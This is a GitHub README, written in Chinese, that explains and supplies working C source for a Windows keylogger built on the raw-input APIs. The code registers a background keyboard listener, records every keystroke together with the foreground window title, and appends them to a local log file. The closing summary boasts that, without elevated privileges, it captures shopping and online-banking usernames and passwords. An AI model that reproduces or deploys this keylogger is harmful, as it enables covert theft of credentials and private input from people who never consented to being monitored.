使用GetRawInputData函数实现键盘按键记录
Go to file
Hydra ed3e909bfa Initial commit 2021-10-19 16:20:24 +08:00
src Initial commit 2021-10-19 08:27:01 +08:00
LICENSE Initial commit 2021-10-19 00:28:07 +00:00
README.md Initial commit 2021-10-19 16:20:24 +08:00

README.md

使用GetRawInputData函数实现键盘按键记录

背景

对于按键记录这方面的功能自己写过几个,实现的方式也都不同。例如在应用层,可以使用全局键盘钩子实现按键记录,也可以使用获取系统设备原始输入方式来实现按键记录。在内核层下,我们可以在驱动设备上面挂在一个键盘过滤设备,创建一个过滤驱动,就可以获取键盘消息等等。

现在,我们主要讲解的是应用层上使用获取原始输入的方法实现的按键记录。这种方式比全局键盘钩子更加底层而且有效。很多软件,都能屏蔽全局键盘钩子对按键消息的获取。现在,我就把实现过程和原理整理成文档,分享给大家。

函数声明

RegisterRawInputDevices 函数

注册提供原始输入数据的设备。

函数声明

BOOL WINAPI RegisterRawInputDevices(
    _In_ PCRAWINPUTDEVICE pRawInputDevices,
    _In_ UINT             uiNumDevices,
    _In_ UINT             cbSize
);

参数

  • pRawInputDevices [in] 一组RAWINPUTDEVICE结构代表提供原始输入的设备。
  • uiNumDevices [in] pRawInputDevices指向的RAWINPUTDEVICE结构的数量。
  • cbSize [in] RAWINPUTDEVICE结构的大小以字节为单位

返回值

  • 如果函数成功则为TRUE否则为FALSE。如果函数失败请调用GetLastError获取更多信息。

备注

  • 要接收WM_INPUT消息应用程序必须首先使用RegisterRawInputDevices注册原始输入设备。默认情况下应用程序不接收原始输入。
  • 要接收WM_INPUT_DEVICE_CHANGE消息应用程序必须为RAWINPUTDEVICE结构的usUsagePage和usUsage字段指定的每个设备类指定RIDEV_DEVNOTIFY标志。默认情况下应用程序不会收到WM_INPUT_DEVICE_CHANGE通知用于原始输入设备到达和删除。
  • 如果RAWINPUTDEVICE结构具有RIDEV_REMOVE标志设置且hwndTarget参数未设置为NULL则参数验证将失败。

GetRawInputData 函数

从指定的设备获取原始输入。

函数声明

UINT WINAPI GetRawInputData(
    _In_      HRAWINPUT hRawInput,
    _In_      UINT      uiCommand,
    _Out_opt_ LPVOID    pData,
    _Inout_   PUINT     pcbSize,
    _In_      UINT      cbSizeHeader
);

参数

  • hRawInput [in] RAWINPUT结构的句柄。 这来自于WM_INPUT中的lParam。

  • uiCommand [in] 命令标志。 此参数可以是以下值之一:

VALUE MEANING
RID_HEADER 从RAWINPUT结构获取头信息
RID_INPUT 从RAWINPUT结构获取原始数据
  • pData [out] 指向来自RAWINPUT结构的数据的指针。 这取决于uiCommand的值。 如果pData为NULL则在* pcbSize中返回所需的缓冲区大小。

  • pcbSize [inout] pData中数据的大小以字节为单位

  • cbSizeHeader [in] RAWINPUTHEADER结构的大小以字节为单位

返回值

  • 如果pData为NULL且函数成功则返回值为0。如果pData不为空函数成功返回值为复制到pData中的字节数。如果有错误返回值为UINT-1。

实现原理

使用原始输入的方法实现的按键记录程序,大致可以分成三个部分:注册原始输入设备、获取原始输入数据、保存按键信息。现在,我们分别对这 3 个部分一一进行解析。

注册原始输入设备

我们使用获取原始输入的方法来实现按键纪录,默认情况下,应用程序不接收原始输入。要接收原始输入 WM_INPUT 消息,应用程序必须首先使用 WIN32 API 函数 RegisterRawInputDevices 注册原始输入设备。

在注册原始输入设备中RAWINPUTDEVICE 结构体中的 RIDEV_INPUTSINK 成员表示,即使程序不是处于上层窗口或是激活窗口,程序依然可以接收原始输入,但是,结构体成员目标窗口的句柄 hwndTarget 必须要被指定。

所以,在初始化 RAWINPUTDEVICE 结构体之后,调用 RegisterRawInputDevices 函数注册一个原始输入设备。

获取原始输入数据

在注册原始输入设备之后,我们可以在程序窗口过程函数中,捕获 WM_INPUT 消息,并在 WM_INPUT 中调用 GetInputRawData 来获取原始输入数据。

其中WM_INPUT 中的 lParam 参数,存储这原始输入的句柄。那么,直接调用 GetInputRawData 函数,根据句柄获取 RAWINPUT 原始输入结构体的数据。其中RAWINPUT.header.dwType 表示按键输入类型RAWINPUTDATA 结构体按键消息成员 RAWINPUTDATA.data.keyboard.Message 如果为 WM_KEYDOWN则表示普通按键若为 WM_SYSKEYDOWN 则表示系统按键。这时,键盘按键数据就是 RAWINPUTDATA.data.keyboard.VKey 成员,这是一个按键的虚拟键码,需要转换成 ASCII 码来保存。

那么,接下来就将从原始输入中获取的虚拟键码进行转换和保存。

保存按键信息

我们将虚拟键码与ASCII码的对应信息保存在头文件见 VirtualKeyToAscii.h 中,我们直接调用自定义函数 GetKeyName 就可以实现虚拟键码与ASCII码的转换。

除了获取按键的信息,我们还获取的按键窗口标题的信息,帮助我们判断此时输入的是什么数据。通过 GetForegroundWindow 函数获取顶层窗口的句柄,然后调用 GetWindowText 函数就可以获取窗口的句柄。

然后,我们将按键数据和窗口标题信息一起追加保存到文件中。

编码实现

注册原始输入设备

// 注册原始输入设备
BOOL Init(HWND hWnd)
{
	// 设置 RAWINPUTDEVICE 结构体信息
	RAWINPUTDEVICE rawinputDevice = {0};
	rawinputDevice.usUsagePage = 0x01;
	rawinputDevice.usUsage = 0x06;
	rawinputDevice.dwFlags = RIDEV_INPUTSINK;
	rawinputDevice.hwndTarget = hWnd;
	// 注册原始输入设备
	BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
	if (FALSE == bRet)
	{
		ShowError("RegisterRawInputDevices");
		return FALSE;
	}
	return TRUE;
}

获取原始输入数据

// 获取原始输入数据
BOOL GetData(LPARAM lParam)
{
	RAWINPUT rawinputData = { 0 };
	UINT uiSize = sizeof(rawinputData);
	// 获取原始输入数据的大小
	::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
	if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
	{
		// WM_KEYDOWN --> 普通按键    WM_SYSKEYDOWN --> 系统按键(指的是ALT)  
		if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
			(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
		{
			// 记录按键
			SaveKey(rawinputData.data.keyboard.VKey);
		}
	}
	return TRUE;
}

保存按键记录

// 保存按键信息
void SaveKey(USHORT usVKey)
{
	char szKey[MAX_PATH] = { 0 };
	char szTitle[MAX_PATH] = { 0 };
	char szText[MAX_PATH] = { 0 };
	FILE *fp = NULL;
	// 获取顶层窗口
	HWND hForegroundWnd = ::GetForegroundWindow();
	// 获取顶层窗口标题
	::GetWindowText(hForegroundWnd, szTitle, 256);
	// 将虚拟键码转换成对应的ASCII
	::lstrcpy(szKey, GetKeyName(usVKey));
	// 构造按键记录信息字符串
	::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
	// 打开文件写入按键记录数据
	::fopen_s(&fp, "keylog.txt", "a+");
	if (NULL == fp)
	{
		ShowError("fopen_s");
		return;
	}
	::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
	::fclose(fp);
}

程序测试

我们直接运行程序然后创建一个Office Word文档输入名称“520”接着打开文档输入一段字字母、数字、标点符号等进行测试。输入情况如下所示

按键结束后,我们关闭程序,打开按键记录文件,查看按键记录。程序成功记录下所有按键信息:

总结

这个程序功能比较强大实现不难理解。而且我们只需用普通权限就可以获取系统上差不多所有进程的按键记录。例如Office Word、浏览器输入的淘宝账号和密码、浏览器输入的网银账号和密码等等。

参考

参考自《Windows黑客编程技术详解》一书